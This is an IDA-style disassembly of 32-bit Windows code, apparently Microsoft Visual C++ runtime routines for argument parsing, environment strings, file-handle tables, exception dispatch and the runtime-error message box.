loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		call	near ptr 2630C01h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		call	near ptr 2630E99h
		nop
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2630C01h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		nop
		call	near ptr 2630ED1h
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28B0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 26308F3h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2630B5Eh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 26308F3h
		nop
		push	eax
		nop
		call	near ptr 2740000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 262058Ah


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 262058Ah


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 26B0669h
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
